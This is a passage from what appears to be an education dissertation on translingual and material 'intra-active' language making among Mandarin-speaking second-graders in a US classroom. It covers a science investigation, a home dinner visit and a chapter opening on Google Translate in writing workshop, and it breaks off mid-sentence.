Given that resources did not inherently have determinate meanings (Blommaert, 2010), at the dinner table, “没有化, lalala” no longer indexes “no it didn’t”, or “the ice didn’t melt”, as it did for Patrick during the science investigation. Through these numerous examples, a translingual lens (Canagarajah, 2013) it is possible to see and hear how different combinations of resources produce enriched, clever, and varied communication across linguistic difference. With semiotic resources as *mobile*, resources available to me at Madeline’s dinner table were different than at school, even though these locations were less than a mile apart. While at school, to communicate “chicken feet”, I would have likely spoken a word in English simultaneous with showing a Google image from my computer. Yet at Madeline’s dinner table, I dramatically curled my fingers to convey the meaning. Resources available to Madeline at school were also different than what were available to her at this table. At school, she would have spoken in English, worked extensively with the tablet and Google translate application, perhaps handing me the tablet to read the message. She might have also spoken in Mandarin to a human translator, which would get translated back to me in English. At her dinner table, however, Madeline smiles, yet she is largely quiet, interjecting at moments in a sing-songy Mandarin that might be heard by certain Englishspeaking audiences as whiny. Perhaps she is embarrassed to speak in English in front of her parents, the less-expected verbal language at their table, despite their encouragement. At Madeline’s house, I didn’t know how to navigate my role as researcher as I did in the second-grade classroom. At Oakville school, the size of my feet, body length, and how my body moved were hardly noticed. I moved in and out of classrooms and the hallways with no one asking questions—a white female, clothes similar to other teachers, speaking a particular variety of English. All of these made me unnoticed at Oakville. At Madeline’s house, however, to Madeline, the size of my feet and height in relation to her dad were noticed. This was the first thing Madeline emphasized when I walked through her front door. When Madeline’s dad and I sang “没有化，lalala”, I felt little control. It was a feeling of vulnerability at the crossroads of existing in a largely Chinese environment without having verbal resources, and at a cross-roads no longer knowing what I could be or how to act, of needing to move into a different way of being. Just as Blackledge and Creese (2017/2020) note, what many scholars taking up a translingual lens might call “non-verbal communication”, these ways of moving human bodies were ways of forming social connections in lieu of words. Working with this notion made possible a continued relationship between myself and Madeline’s parents through the school year and beyond. Yet diffracting an intra-active lens with the notion of resources, just as material objects like fish bones and chopsticks have particular characteristics that change what they do in each moment, so too do humans in different situations, moment-to-moment. For example, Madeline and my capabilities in different moments in Room 246 are not only linguistic, but how we are perceived in different intra-actions as child, adult, large, petite, Chinese, American, foreigner, and not foreign. At Madeline’s house, I experienced converse tensions to what she experienced at school. My body was less expected, more noticed, just as Madeline’s at school. I had little control and was vulnerable, not having verbal resources, not knowing how to act. This parallels Madeline, often not knowing how to act in English with classmates, teachers, and the adult researcher who was often with her. Diffracting an intra-active lens with the notion of resource, I show that the focus is not on what the blog post “没有化, lalala, or other words spoken necessarily come to symbolize or be recognized as communicating. In this moment, the language making at the dinner table consists of many resources or components of language playing with each other to produce a new formation of 没有化, lalala. These together produce agentic possibilities such that working across verbal and written languages enabled us to connect in a way that is meaningful, at least to me as researcher. This particular dinner at Madeline’s house and spending time with her family for several hours afterward, was one of my favorite, and most intimate moments of the research. Barad (2007) notes that “meaning and matter are not separate elements. They are inextricably fused together” (p. 3). Therefore, in this research, “matter” is playing together, affecting each other, producing meaning in their play, and my being played by Mandarin, by chopsticks rather than a fork, by fish bones rather than the American supermarket variety of deboned filets most readily found near Oakville school. I play back at these resources, attempting to work with bits and pieces of Mandarin, engaging in what I hope are savvy moves in navigating eating dinner. All the while, we are affected by our blood sugar soaring with the thick sugary pink children’s drink that Madeline picked out for our dinner, our mouths warm with umami chicken broth made by Madeline’s mom, and the shared memory of the science investigation where Xi Xi Lu and Madeline felt they had an opportunity to act differently. In this dinner tablet moment, with different access to verbal resources, the body of chopsticks, fingers, hands, food, 没有化, lalala become the shared material of our language—the conduit forming a connection. Barad (2007) writes, “meaning is not a property of individual words or groups of words, but an ongoing performance of the world in its differential dance of intelligibility and unintelligibility” (p.149). While communication is happening at this dinner table, from an intra-active lens, it’s perhaps not what is most important or meaningful for myself, Madeline, and her family. The meaning of the words themselves, “没有化, lalala”, “the ice didn’t melt”, index differently for us at the dinner table on this cold February night, yet it is not recognizable how. They are unintelligible, rather than the intelligible signification this refrain had for Patrick during the science investigation. Instead, I suggest there’s an affective connection through singing these familiar lines, which is the meaning of what becomes possible in this moment. “没有化, lalala” is a player with myself and Madeline’s parents as a force, a material (Ånggård, 2016; Rauito & Winston, 2015; Wargo, 2017). It’s the material that 没有化, lalala becomes and the singing of these a-signifying lines as a continuing force. Diffracting a translingual and intra-active lens, the refrain of “没有化, lalala” enabled different ways of meaning across a school year—first, as a way for Xi Xi Lu and Madeline to communicate winning to their peer, Patrick, and produce a blog post that rendered them engaged, and second, a material that connected myself, Madeline, and her family at her dinner table, connecting across linguistic difference. **Story #3: Resources for Each Other, Extending Boundaries of Bodies Through Parallel Re-Working** In this last story, I return now to the science investigation on December 16 to show engagement during the science investigation is produced as children, researcher, tablets, Chinese, and an ice cube keeper, become resources for each other, ontologically reworking each other in parallel ways. As such, “repertoires” appear to be dynamic and collective, particular to each iteration of language making, as opposed to attributed to a particular classroom activity or individual. I show this through the analysis of four different moments where the activity of the forty-five minute science investigation shifts. An intra-active lens pushes the boundaries implicit in the conceptualization of resources in Blommaert (2010) and van Leeuwen (2005), making each player and partner more ontologically porous, not entering into the science investigation with pre-existing properties, but rather develop these dynamically re-working each other in a “shifting entanglement of relations” (Barad, 2007, p. 35). Xi Xi Lu, Madeline, Patrick, tablets, Chinese, singing, memories could be seen as a collective player, affecting each other, and producing together (Ehret et al., 2016; Hackett & Somerville, 2017; Harwood & Collier, 2017; Hultman & Lenz Taguchi, 2010; Lenz Taguchi, 2011; Zapata et al., 2018). As these human and non-human players of language making, we are resources for each other, we are intra-playing, and as Barad writes, we are “reconfigur(ing),” each other’s possibilities when we come into contact, “borrow(ing) or exchang(ing) properties with each other” (Hultman & Taguchi, 2010, p. 529). During the science investigation, this is how Xi Xi Lu, Madeline, Chrome tablets, Mandarin singing, tape, cardboard, cup, ice, and myself with my Kodak touch camera reshaped each other’s potentials of how we could act, what we could do and what we could become in the classroom, only through each other. **Creating Blog Posts: Language Making Between Tablet, Xi Xi Lu, Madeline.** In the first shift, consider the moments when Xi Xi Lu/Madeline and the tablet first produce the refrain during the science investigation. In these moments, it was through intra-mingling with each other that Chrome tablet Xi Xi Lu Madeline re-worked each other to more than English novices and a translator, as they most often existed during second grade. In this re-working, the tablet was becoming a camera, simultaneously reworking Xi Xi Lu/Madeline as a photographer. As the tablet was reworked to a recorder, Xi Xi Lu/Madeline were singers of Mandarin and composers of songs. As the tablet became an audiovisual player, Xi Xi Lu/Madeline were re-worked as a broadcaster of a successful science investigation, able to taunt their competitor and classmate Patrick. What matters is that as tablets are re-worked into becoming something different in each moment, so are Xi Xi Lu and Madeline. With intra-action, in this moment of blogging science, Xi Xi Lu, Madeline, nor tablet are no longer bound to individual social identity categories like machine as translator and child as English novice, as they were previously in the classroom. Instead, they are an entangled collective. By recognizing Tablet Xi Xi Lu Madeline as mingled we can see that the capacities to do science, engineering, school, winning, produce a blog—engagement—can only be attributed to this linked alliance. Figure 3.3 illustrates Tablet Xi Xi Lu Madeline comprised of b) Madeline c) Xi Xi Lu h) 11/10/16 Xi Xi Lu, tablet, and student teacher during writing workshop i) Image Madeline said reminded her of former schooling in China j) Former science class—Xi Xi Lu, tablet, classmate, cocoons creating blog-post k) Tablet as translator through Google Translate o) tablet as photographer, recorder, projector. Figure 3.3. Tablet Xi Xi Lu Madeline. **Ice cups tape To Create Insulator.** In another shift, in the moment the first blog was created, cups, tape, and cardboard were also reconfigured by becoming an “ice cube keeper” or insulator *with* each other, as illustrated in Figure 3.4, rather than separate materials as they were previously. Through becoming an insulator with each other, the cups weren’t only for drinking, the tape not only for sticking paper, nor was the cardboard confined to its original box state for storing or sending as they were prior to the investigation. Instead, the cups, tape, cardboard in this moment worked as insulators to keep an ice cube from melting. Figure 3.4 illustrates the multiple components comprising this entanglement: l) ice n) ice cube keeper p) cardboard q) Styrofoam cup r) water (melted ice). Early childhood educator Änggård (2016) argues that the material characteristics of a steep rock, the slippery friction-reducing material of children’s pants, and gravity, produced children’s bodies as sliding fast. Similarly, it was the material characteristics of the plastic-lined paper cup that kept the ice cube contained in a small place, the physical properties of the Styrofoam cup, made of polystyrene, “a hard thermoplastic resin” (Oxford English Dictionary, Polystyrene) that limited the thermal transfer of the warm air of the classroom from reaching the ice cube in the plastic-lined paper cup. Forming the base of the insulator, it was the cardboard that sealed the large open space of the cup, further blocking the ice cube from the warm classroom air. It was the stickiness of the tape that further stuck these previously separate items together to comprise the insulator. It was the energies fueled through the ice not melting, the successful “ice cube keeper” that called for the event to be documented in a new spontaneous way, reworking in parallel ways the tablet and Xi Xi Lu to documenters through Mandarin singing, and a photograph superimposed with large blue Chinese characters. Figure 3.4. Parallel reworkings of Ice$cups$tape to create insulator. Insulator Breaks Apart and New Blog Post Recorded in Book Corner. The following vignette elaborates on two other shifts. First when the insulator breaks apart, and second, when new blog posts are recorded in the book corner. Four minutes after the first 没有化, lalala, Madeline and Mandarin singing, “没有化, lalala”, once again vibrates off of Madeline’s vocal cords. The sound “没有化, lalala” enfolded from the previous moment, still moves through the scene. As Xi Xi Lu’s hand touches the “ice-cube keeper”, the balance of the disposable cups shifts as gravity pulls the cups toward the table. Ice and water fall onto the desk. “AAAAHHHHH”, “Xi Xi LUUUUUUUUUU”, Madeline screams. The “ice-cube keeper”, the insulator, by accident, has become momentarily dismantled. In this moment of falling apart, the cups are returned to being potential drinking vessels. The cardboard no longer served as a base. Water was on the table, no longer ice, a solid. The “ice-cube keeper”, the insulator, was temporarily no longer. As this occurred, the intra-action that produced possibilities of engagement in the previous moment: Xi Xi Lu becoming photographer, composer, singer, broadcaster, writer; tablet becoming camera, recorder, audio/visual player, slate; cups, tape, and cardboard becoming the “ice cube keeper”; the feeling of tablets from other places (in classroom/home/China), and Mandarin singing and the insulator as an engaged component and the thread holding the moment together, untangle. A few minutes later, the insulator is put back together. Xi Xi Lu with tablet produces yet another blog post while walking on her knees in the book corner. Madeline, Patrick, and I follow behind, also on our knees. As Xi Xi Lu with Chrome tablet records, Patrick picks up a game card found on the floor and waves it in front of Xi Xi Lu’s tablet, seemingly trying to distract. Xi Xi Lu and tablet push forward in Mandarin song, seemingly ignoring Patrick. Patrick picks up a large plastic game piece on the floor. There are loud booms as the game piece is crashed against the nearby bookshelf, right next to the tablet with Xi Xi Lu. Thus, there is a competition between the classroom soundscape of Patrick’s materials/sounds and Xi Xi Lu’s tablet. During the science investigation, Patrick was no longer expert and more knowledgeable than Xi Xi Lu and Madeline. Yet with the dismantling of the “ice cube keeper”, Patrick’s body emerged in tandem with the pieces of the deconstructed ice-cube keeper—a piece of cardboard, the former base of the ice cube keeper; the Styrofoam cup, the former insulator, the water, the former ice cube (see Figure 3.5). “Hhhhh, your ice” Patrick says in Mandarin, alternating pitches. The players and partners are re-enlivened, moving to new configurations, new iterations of language making. Madeline and Xi Xi Lu’s fingers tap on the tablet’s glass rarely breaking gaze with the screen. Patrick’s hand takes the cup. He rubs a piece of cardboard on the desk, picks it up and releases. The cardboard falls on the desk multiple times. “Use this to clean”, he says in Mandarin, turning over the cardboard. The cardboard is becoming something else with Patrick’s hand: it is now a rag to soak up water rather than a box or a base of the ice cube keeper. With the cardboard and cup Patrick becomes a disruptor. Mandarin talk interspersed with loud undulating sounds unrecognizable to the adult Chinese-English translator that I worked with, and machine gun–like sounds, never before or after heard outside the science investigation, were sonic disruptors that drained out Mandarin singing, changing the classroom soundscape. Rather than the sound of Mandarin singing “沒有化, lalala”, it was instead the rapid “TTTTTTTTT” machine-gun-like sounds from Patrick’s hand-mouth, cups, and cardboard that reconfigured Patrick’s body to disruptor. There’s the potential that Mandarin talk would be understood collectively by Xi Xi Lu, Madeline, and Patrick. Instead, new sounds and movements appear to take its place—loud repeated machine gun sounds vibrate off Patrick’s vocal cords, while Xi Xi Lu’s body and chair come together to block Patrick’s fingers from tapping the tablet. With Patrick, waving a paper card and booms between plastic game piece and bookshelf threaten Xi Xi Lu with tablet. In this moment it is the collective capacities between machine gun sounds, booms on bookshelf with game piece, cardboard, and Patrick that challenge and silently provoke the Mandarin singing and doing science of Xi Xi Lu, Madeline, and tablet. Figure 3.5 illustrates the components entangling in this moment (a) Frances and Kodak touch camera g) 2/8/17 ESL pull-out class, Patrick as translator p) cardboard s) Recollections/feelings of Patrick with head on desk and ice cube keeper with melted ice from four minutes earlier t) Recollections/feelings of Patrick and tablet with student u) Mandarin talk v) Machine gun sounds w) Patrick’s hand). Figure 3.5. Patrick $\varphi$ Materials $\varphi$Sounds. By considering these moments together, I suggest that children with materials can be perceived as successful in science by their teacher and peers through each other. With each other, they are more-than English novices, and more than translator. They are more than cup, cardboard, and more than not participating. It is these doings of language that *simultaneously* happen alongside the communication of the translingual blog posts that only Patrick, Xi Xi Lu, and Madeline can understand. **Classroom Repertoires as Dynamic Suggesting Engagement as Collective** Through each of these three vignettes, I story instances during the science investigation where engagement is not happening in ways that have been theorized in K-5 teaching emergent bi/multilinguals. If this is the case, what constitutes this moment as “engaging” for myself, Madeline, and her family? Through these stories, I argue that by diffracting concepts of resources as semiotic (van Leeuwen, 2005) and mobile (Blommaert, 2010) with “intra-action”, we are provided with an expanded lens to see, hear, and feel how language making is engaging in ways that include but move far beyond social connections that symbolize and are recognized. By doing so, we are enabled to notice and tap into other connections, many of which are affective and non-indexing that initially went unnoticed by players and partners Room 246. Across the moment, it makes possible recognizing engagement as - **Xi Xi Lu** ↔ **Madeline** ↔ **Patrick** ↔ **Chinese** ↔ **Mandarin Singing** ↔ **Tablet** ↔ **Memories across U.S. and Chinese schooling experiences** ↔ **Ice cube keeper** producing a blog, and creating possibilities to engage for all of them than in previous moments in the classroom —doing science, doing school, doing winning… - **Tablet** ↔ **Xi Xi Lu** ↔ **Madeline** producing new possibilities in the classroom as the tablet computers are reworked to more than a translator to cameras, recorders, and players, and Xi Xi Lu and Madeline are reworked to being more than novice in English to photographer and dependent on a translator to singer of Mandarin, and writer of Chinese… - **Water cup cardboard tape** producing an “ice cube keeper” enabling ice to not melt, producing Xi Xi Lu and Madeline as they saw it, successful in the science investigation - **Patrick Materials Sounds** producing Patrick as participant, moving from his former position as head and body resting at desk… - **First Blog Post Madeline Tablet Frances Camera** producing the possibility to break out of being the usual follower of Xi Xi Lu… - **Umami edibles New iterations of “没有化, lalala” Xi Xi Lu and Family Frances** producing a social connection not possible only through words… - **Video footage of the science investigation and “没有化, lalala” Xi Xi Lu’s parents** producing the possibility to break out of the kind of student Xi Xi Lu thought her mom wanted her to be… These collectives during the science investigation extend ways of conceptualizing the socio and applied linguistics concept of individual semiotic “repertoires” (Kusters et al., 2017). Repertoires are dynamic, they change and iterate continually during activity. They do not sit still, but continue to iterate. Repertoires can also be collective, not only individual. The concept of repertoire is a reminder to not lose sight of why Xi Xi Lu and Madeline found this moment and many others significant: “We could do it and not Patrick”, Madeline noted, and in another moment, “Only the three of us knew”, Xi Xi Lu told her mom about the moment when I visited her home, referring to Xi Xi Lu, Madeline, and Patrick knowing in a way their classmates did not. These comments from Xi Xi Lu and Madeline refer to viewing themselves bringing different resources into the classroom than peers. Remnants from former moments when Xi Xi Lu and Madeline are seen as more novice and Patrick seen as more expert, just as English-dominant students seem to be more expert in the class compared to them, move into the new intra-actions of the science investigation. Diffracting Xi Xi Lu and Madeline’s words with an intra-active lens, “repertoire” cannot be attributed to who we call “Xi Xi Lu” or “Madeline”, given that what children are or ‘what ‘they’ bring to the word are radically different from moment-to-moment given the different circumstances they are entangled with (Murris, 2016). With this lens, Madeline and Xi Xi Lu have many capacities that are realized differently across times and spaces in alliance or collectively with others. Xi Xi Lu and Madeline, however, do not recognize their entanglements, as noted in their comments as to why the moment was important. Diffracting translilingualism and intra-action with the science investigation, these collectives of players and partners amplify who we come to think of as Madeline and Xi Xi Lu, and what they can do. Significant to repertoires as collective is that human-non-human capacities coming together make possible ways of noticing engagement in this moment as expanded: doing science, school, winning; producing a blog; enabling ice not to melt; a child physically participating and breaking out of being a follower; a researcher-family connection across verbal/written borders; and children, researcher, tablets, Chinese, and ice cube keeper reworking each other in parallel ways in order to act differently. According to Barad (2007), these entanglings are held together with the agentic forces that human and nonhuman bodies with more-than human recollections/feelings from former moments create with each other. In what Barad calls “re-materializations”, what I consider iterations of language making, so too did children and researcher have further opportunities to engage or different ways of participating. Therefore, recognizing such connections within language making enables making small steps to move beyond a focus only on human players doing language, and doing so with words—ways that seemed to limit connections during the science investigation. **Implications for Teacher Education and Linguistically and Culturally Diverse Classrooms** What translilingualism with intra-action produces aligns in many ways with previous scholarship on the classroom experiences of students with transnational experiences. For example, Bhatia and Ram (2004) and Jaffe-Walter and Lee (2018) suggest children and youth simultaneously negotiate connections from previous or multiple countries in tandem with new ways of doing schooling in a new country (Bhatia & Ram, 2004; Jaffe-Walter and Lee, 2018). Furthermore, repertoires as dynamic align in many ways what multicultural educator Paris and linguistic anthropologist Alim refer to in their call for a culturally sustaining pedagogy (2014), calling educators to conceptualize culture and language as dynamic, involving *evolving* ways of *living* culture and language in dynamic classrooms in concert with what might be considered heritage or “traditional” cultural-linguistic practices. Nevertheless, translilingualism with intra-action extends the argument of Paris and Alim and scholarship on transnational experiences of schooling. Repertoires as dynamic and collective suggest that rather than culture or language in a classroom chiefly created by children and their teacher as agents, culture and language making in a classroom is produced by ontological entanglements of agentic memories, sounds, material objects of classrooms, as they have different capacities through their collaboration. Second, players and partners have different affective potentials as they are re-placed across U.S./China/home/school and that the repertoires that these players and partners produce together are thus affective. Just as Barad’s notion of “enfolding”, language making does not exist in the rolling out of chronological present to future. Instead, in Room 246, language making is entangled with former moments from Oakville school and former schooling experience in China. Similarly, I argue that it is engaging when former moments from China/U.S. enter into new intra-actions during the science investigation, producing new experiences in these new moments. Third, as educators working in culturally and linguistically diverse schools and with families whose lived experiences may be different than our own, connections that build bridges in not only classrooms, but schools and communities, might *not* symbolize or be recognized. A language making that is also affective, such as the sung refrain of “没有化, lalala”, and food shared with Madeline’s family such as chicken broth, bony fish, and fruit punch at her home, were among the conduits or players and partners to facilitate connections. This is significant in preparing in-service and pre-service teachers who will teach emergent bi/multilinguals given that future and current teachers are often taught by in-service teacher curriculum that food and music are more ‘superficial’ aspects of culture, and that teachers should pay more attention to what is thought to be more consequential aspects of culture such as socially-constructed attitudes/views, ways of doing school, and raising children (Hamayan, 2012; Wright, 2019). Such critiques derive from initiatives such as multicultural potluck food celebrations that schools often organize under the guise of multiculturalism and connecting families and students, but yet do not entertain what are considered the more consequential aspects of culture according to many scholars. While the impetus for this critique is well-founded, it risks an unfortunate de-emphasis and under theorization of connections occurring with food, sounds, and combinations of more-than human players that might be significant in favor of socially constructed perspectives emphasizing patterns across cultures. This chapter illustrates how these were far from being trivial, as they spurred the linkages to connections with children and their families and different ways of engaging that were more usual in the classroom. Providing a way to theorize aliment as significant to intercultural relational encounters where these conduits are agents in alliance with others, has been theorized outside the field of teaching emergent bi/multilinguals (see Powell & Schulte, 2016). This chapter suggests that in working with pre-service and in-service teachers, we need to continue to critique what might be empty performances of multiculturalism that would be critiqued by Banks (2018). However educators working in linguistically and culturally diverse schools and classrooms must continue to stay open to emergent, significant ways of connecting, in our daily school and classroom experiences. These are the comings together of moments that perhaps involve sound, food, material objects, and the forces these produce together with humans, that make it possible to form relationships with children and their families, and risk being overlooked. Chapter 4. Google (Mis) Translate: Recognizing Additional Opportunities for Engagement Through Tensions Across Screen and Linguistic Borders Introduction In this chapter, I explore the enormous potential in opening and making visible opportunities for engagement with machine translation in classrooms. Inspired by Xi Xi Lu, Madeline and their student teacher’s sense-making of a moment from writer’s workshop, I ask how does translation as a negotiation between hardware, software including Google Translate neural network, teacher, and emergent bi/multilingual children change ways of recognizing engagement? I theorize translation as a complex experience of moving in language in Room 246 together, and recognizing the often invisible connections that come out of this messy and often tension-provoking process. Translation in this moment is not only conceptualized as text-to-text correspondence occurring between textual language such as English/Chinese, Chinese/English, text on a page, and semiotically produced meaning by children and teachers. Rather, I set aside common questions of “is the translation accurate?”, “what is the meaning?”, and “what was intended?” to attune to what else translation might become both on and off the page and screen. With this writing workshop moment, I also tell how over a three-year period, I work with the object of a funnel as a way to tell this story the surprise for me as researcher as I encountered translation differently. These stories together suggest that discovering the multiplicity of what a funnel can do inspires additional ways of theorizing engagement in this moment in the writing workshop. Through intertwined stories, I show how engagement manifests in the tensions between different simultaneous ways of seeing, hearing, and feeling language, when theories are agentially cut by different theoretical constructs. By “(agential) cut”, I refer to Barad (2007/2011), as what dynamically materializes, and that we recognize as materializing, combining amongst so many other options from moment-to-moment to create what we consider language in Room 246 i.e., the “materializing effects” of a material-semiotic language making and its “particular ways of drawing boundaries between ‘humans’ and ‘non humans’” (Barad, 2011, pp. 123-124). Why this is significant to room 246 is that together these theories produce what Barad calls “boundary-making practices” (p. 821), which in this case are the additional opportunities for engagement through the act of translation. I begin by introducing the writing workshop moment that Xi Xi Lu and Madeline noted as being so important. **Translation in the Writing Workshop** The writing workshop mini-lesson in Room 248 has finished. Xi Xi Lu and Madeline, in their first few months in a U.S. classroom, are in the back of the room at the bean-shaped table with their student teacher. During the previous day in preparation for writing, Xi Xi Lu glued a photograph, brought from home, of she and her sister eating ice cream when they lived together in China. Xi Xi Lu labeled her photograph with English words such as “ice cream” and “sister”. Madeline drew a picture of herself watering what appeared to be a seedling sprouting from the ground (see Figure 4.1). Yet the dotted lined paper in their writing workshop binder now sits in front of them at the table. The lines and dashes primed for and awaiting English letters are looming (see Figure 4.2). *Figure 4.1. Pre-writing: Xi Xi Lu’s photograph (left), Madeline’s drawing (right).* Figure 4.2. Screen shot from video produced by Madeline with Go Pro. Xi Xi Lu and Madeline can’t yet speak English sentences. The student teacher doesn’t know how to speak Mandarin Chinese. In the weeks that follow this moment, Madeline notes that the tablet with Google translate is the only bilingual one at the table. Between them they engage in a material-semiotic blend of head nods, pointing to images, and scrunched faces. “Charades” is what the student teacher called their communication, referencing a game where players guess a word from pantomime. The student teacher asks questions to attempt to understand what is happening in Xi Xi Lu and Madeline’s drawing. Yet image and drawing alone were not sufficient ways of producing meaning in the writing workshop. Text on a page often appeared most valued. Children, for example, were often told not to “worry about pictures” and to leave space for them after text was composed. “What if you’re done with your picture, do you still have to write?” asked Xi Xi Lu and Madeline’s classmate on an earlier day. “Yes!” was the teacher’s emphatic reply (9/9/16 field notes). This was a narrative that teachers often reluctantly practiced in their negotiation of curriculum standards (1/27/17; 11/10/16 field notes). In this moment of writer’s workshop, Xi Xi Lu and Madeline’s classroom teacher notes wanting them to write in Chinese. Xi Xi Lu and Madeline indicate wanting to write in English, and also wanting to be free of their peer translator and friendly competitor, Patrick, the only other person who knows Mandarin Chinese in Room 246. In this moment, Patrick writes next to them, silently, belly down on the floor under the tablet where we all sit, seemingly ignoring the translation happening at the table above him. As a researcher in Room 246, Patrick’s silent English-writing body brushes up against my feet as I record the following moment: Finger tap on glass screen. Xi Xi Lu speaks. Mandarin sounds fill the space between them. The neural network of Google Translate is activated. The tablet responds “house”, even though Xi Xi Lu is seemingly negotiating the translation for 屋 (láojiā, hometown). “no, no, no, no, no”, Xi Xi Lu speaks to tablet in response to this translation. “In your house? Is that your house? The student teacher responds to the Google Translation. Head nod side to side by Xi Xi Lu. “No?” the student teacher says. Xi Xi Lu hops back, with her eyes on the tablet screen (see figure 4.3). Figure 4.3. Xi Xi Lu hops back after finger taps on tablet.\footnote{The images in Figures 4-6, cut together video from research-Kodak touch footage and a collage of screen shots from multiple video cameras with text spoken and produced with tablet, Google Translate, children, and student teacher. These diffractive images suggest the simultaneity of communicating, not communicating, and affective connections with the concepts translingualism entangled with intra-action.} Student teacher finger taps on smooth glass screen. Xi Xi Lu speaks. Student teacher finger taps on glass screen and then says to tablet: “In your house you were eating ice cream?” Tablet is then pushed to Xi Xi Lu. An algorithm comprised of hundreds of numbers, a processing of bilingual corpora, English-Chinese, the semantics and hidden material between the corpora, what Google Translate calls “interlingua”. Translation projected by tablet. “no, ehhhh”, from Xi Xi Lu. Finger tap on glass screen. Xi Xi Lu’s face is close to the tablet. She speaks in Mandarin, 冰冷店 (Bīnglěng diàn—ice shop) (see figure 4.4) Figure 4.4. Xi Xi Lu speaks to tablet with Google Translate after what is understood as mistranslation. This back and forth between finger taps, Mandarin, English, passing tablet with Google Translate continues for a while, and then the student teacher writes seven words on a post-it. “I –was- at- an –ice- cream- shop”, handing it to Xi Xi Lu. Xi Xi Lu copies the seven words on her lined paper. An English sentence is produced. A few minutes later, when the student teacher speaks to the tablet, “protect the environment”, Google Translate and voice activation hears “pregnant”. Xi Xi Lu’s sister’s name is furthermore translated to the English word ‘blue’. There is perhaps relief, joy, awkwardness manifesting through the covered mouth and giggles of the mistranslations of this moment (see Figure 4.5). Figure 4.5 Mistranslation of Xi Xi Lu’s sister’s name as “blue”. Reconceptualizing Translation as a Way to Engage How can translation and engagement be conceptualized in this moment? Initially influenced by a human-oriented understanding of language and engagement, I was most able to see this moment of composition and translation as a funneling, a reduction capturing and squelching of the resources children have in Room 246. From this perspective, there seemed to be fewer ways for Xi Xi Lu and Madeline to be engaged during the writing workshop moment. For example, Xi Xi Lu and Madeline weren’t expressing in Chinese, the written resource they had the most access to. They were copying stilted English sentences. They were sitting with an adult in the corner of the room, away from their classmates. More contact was happening with tablet computers and teacher than peers. If interactions with peers and teachers were what mattered this most, this moment could be considered isolating. If linguistic-semiotic expression on a page that communicates is what matters as literacy, this moment might be seen as reductive. If we are focused on a child’s individual semiotic and linguistic repertoires, then it could be theorized that children’s learning risks becoming lost in the machine-student assemblage—an alienation and disempowerment with technology, as one of the few studies supporting Google Translate for pedagogical purposes in K-12 classrooms with emergent bi/multilinguals argues (Vogel et al., 2018). Yet Xi Xi’s, Madeline’s, and teacher’s sense-making of this moment throughout the school year suggests that we divert our attention to what additional opportunities for engagement might come out of this moment that we cannot recognize. **Language Making with Google Translate: A Funneling?** For a year after I participated in this moment, the funnel was the visual image of how I had come to see the writing workshop moment as reductive of what children had the potential to contribute. The visual image of the funnel nagged at me for years until only recently with Neel, three years after the original moment, I purchased a funnel at a hardware store close to Oakville school to write this chapter, not entirely knowing where it was going to go. When Neel and I brought the funnel home from the hardware store, we began to fill it with water from the tap in the bathtub. The funnel moved from the heavy force of the gushing stream of liquid. With the funnel’s tapered bottom blocked, water poured over the sides of the top. When the tapered bottom lifted from the bathtub floor, the blockage was freed, the liquid changed shape, moving faster on the bottom than the top, making a smooth narrow cylindrical ribbon. We then filled the wide mouth with bolts, nails, screws, and Legos. Unlike the water, the small jagged pieces became stuck, jammed in the funnel’s elephant-like snout. Just as when the funnel’s bottom was blocked by the bathtub bottom and Legos, so too could Google Translate be viewed as funneling and squelching the more expansive resources available to Xi Xi Lu and Madeline to play in language making. From this perspective, Google translate could be thought to render Xi Xi Lu and Madeline as silenced, just as with water in the blocked funnel in bathtub, where nothing can come out of the bottom, only overflow out of the top. Extending (Machine) Translation in K-5 Classrooms by Working Across Interdisciplinary Fields The funnel, then, could be a way to view machine translation in classrooms. With the prevalence of web-based machine translation software such as Google Translate, there is a growing body of work in second language studies, largely in higher education settings, pertaining to classroom practices. The largest focus of most recent work centers on how machine translation software, funnels and sifts text from one language to another. There is an emphasis on how accurate or not these translations are with its target language pair, and how Google Translate as a tool might hold different potential benefits for learners across target language proficiency levels (Case, 2015; Garcia & Pena, 2011; Groves & Mundt, 2015; Vogel et al., 2018). There are few studies supporting Google Translate for pedagogical purposes in K-12 classrooms with emergent bi/multilinguals (exceptions include Lake & Beisly, 2019; Vogel et al., 2018). Machine translation can be conceptualized in classrooms with young children differently than a text-to-text correspondence that communicates, potentially marginalizing children. Inspiring such a notion is empirical work in early childhood studies and children language and literacies addressing children working with the hardware of iPads and tablets (Burnett, 2017; Dagenais et al., 2015; Dagenais et al., 2017; Knight & Dooley, 2015; Rowe & Miller, 2016; Toohey & Dagenais, 2015; Wohlwend, 2017); affective intensities between children and youth’s bodies, hardware, and place (Hollett & Ehret, 2017; Lenters, 2016; Wargo, 2015); work in media theory that addresses additional considerations of software (Langlois, 2014; Ramati & Pinchevski, 2017); and work in literary translation (Scott, 2019). Consider again the funnel. How might the funnel be reconceptualized through these additional perspectives? How might a different way of conceptualizing the funnel change the way of understanding this writing workshop moment with Google Translate differently than has been theorized in empirical scholarship in the field of teaching emergent bi/multilinguals? **Building from Literacy Translation.** The work of Clive Scott, literary translator, provides a starting point for how to reconceptualize translation differently. Scott writes: What if translation is an adventure not in meaning but…the *experience* of language? What if reading is looked upon not as a process of interpreting, or extracting meaning from, text but as a process of existential/experimental … coordination or … orchestration? What if translation is not a test of comprehension but of the fruitfulness of our inability to comprehend?… The central motor principle of translation is morphism, a sliding across languages or linguistic material, across the senses, across the participating body, in order to achieve an ever-changing … variational play. (2019, pp. 88-89) Considering Scott’s conceptualization of translation, I pose the question: how might we look comprehension in the eye, and yet before getting an answer, slide down the curves of the black and gray letters and characters on the Google Translate application, explode outside of the rectangular boxes on the screen that expects us to derive signification, and from this momentum spring into other variations of what could be happening in translation exchanges, that we perhaps don’t fully understand? Scott might suggest that rather than avoiding the risk of the funnel (the threat), we should stand on the edge of the funnel’s mouth. We should stick our head in and walk around, poke our hands inside and engage with the sloshing material inside. With Scott’s conceptualization of translation, we get sucked into the funnel despite the risk. With Barad’s concept of intra-action, I claim we’re already in the funnel in ways we might not recognize, and that the funnel might look different than we imagine. **Potentials for Children with Hardware and Software of Tablets.** Much of the conversation in children’s language and literacies research is concerned with what opportunities are brought about through the material characteristics of the hardware for children. These characteristics include the size and portability of the tablet changing how one’s body can be positioned (Knight & Dooley, 2015); the visible tablet screen making work less private and more sharable and applications providing instant audiences (Burnett, 2017); giving instant feedback (Wohlwend, 2017); and keyboards with different orthographies enabling writing in different languages (Prince, 2017) yet also constraining if a particular orthography is not represented (Dagenais, et al., 2017); and sound-to-text applications providing opportunities for children with less familiarity with written text (Dagenais et al., 2017). Work in children’s language and literacies suggest that the hardware of tablet computers and software applications are significant to creating additional 